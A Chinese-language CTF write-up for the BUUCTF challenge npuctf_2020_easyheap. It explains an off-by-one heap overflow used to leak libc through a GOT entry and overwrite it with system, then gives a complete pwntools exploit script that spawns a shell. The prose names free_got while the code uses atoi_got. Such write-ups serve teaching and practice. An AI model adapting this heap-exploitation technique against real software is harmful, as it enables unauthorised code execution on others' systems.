off by one 改got表

S0pHi3 / 2024-09-03 / 原文

BUU——npuctf_2020_easyheap

off by one利用:每次申请chunk程序默认申请一个0x10大小的chunk,用于存自己申请的chunk的大小和地址,正是利用这个地址,将其修改为free_got泄露libc基地址,之后再将free地址修改为system函数,传入"/bin/sh\x00"即可system("/bin/sh")。

如何修改:申请两个chunk,利用off by one 将chunk1大小修改为0x41,free chunk1时,先free chunk1,再free chunk1的默认chunk。再次将chunk1申请回来,先用chunk1的地址处空间给new chunk1默认chunk,然后再分配给new chunk1地址。所以new chunk1的默认chunk占用了原来chunk1的位置(被写入free_got),此时show(new_chunk1),根据 new chunk 的 默认chunk中存的new chunk的地址,即上述写入的free_got,泄露libc基地址。

主要思路:free chunk和再次申请chunk时,默认chunk和chunk的顺序不同,可导致了内容交换、泄露。修改free_got指向system

from pwn import *
from LibcSearcher import *
from struct import *

local = 1
debug = 1

binary = "./npuctf_2020_easyheap"
elf = ELF(binary)

context.arch = elf.arch
context.os = elf.os
context.log_level = "debug" if debug else "info"

if local:
    p = process(binary)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
    # lib = "/lib/i386-linux-gnu/libc.so.6"
else:
    ip = "node5.buuoj.cn"
    port = "26858"
    p = remote(ip, port)
    lib = ""

if lib != "":
    libc = ELF(lib)

def launch_gdb():
    gdb.attach(p)
    pause()

def log_puts_addr():
    print("puts_addr is ",hex(puts_addr))

def log_canary():
    print("canary is ",hex(canary)) 


atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
	p.recvuntil("Your choice :")
	p.sendline(str(choice))

def create(size,content):
	cmd(1)
	p.recvuntil("only) :")
	p.sendline(str(size))
	p.recvuntil("Content:")
	p.sendline(content)

def edit(idx,content):
	cmd(2)
	p.recvuntil("Index :")
	p.sendline(str(idx))
	p.recvuntil("Content:")
	p.sendline(content)

def show(idx):
	cmd(3)
	p.recvuntil("Index :")
	p.sendline(str(idx))

def delete(idx):
	cmd(4)
	p.recvuntil("Index :")
	p.sendline(str(idx))

create(0x18,"aaaa")
create(0x18,"aaaa")

launch_gdb()

payload = b'/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)
edit(0,payload)

delete(1)
payload = b'a' * 0x20 + p64(0x38) + p64(atoi_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil(b"\x7f")[-6:]+b"\x00\x00")

print(hex(free_addr))

libc_base = free_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

edit(1,p64(system))
delete(0)

p.interactive()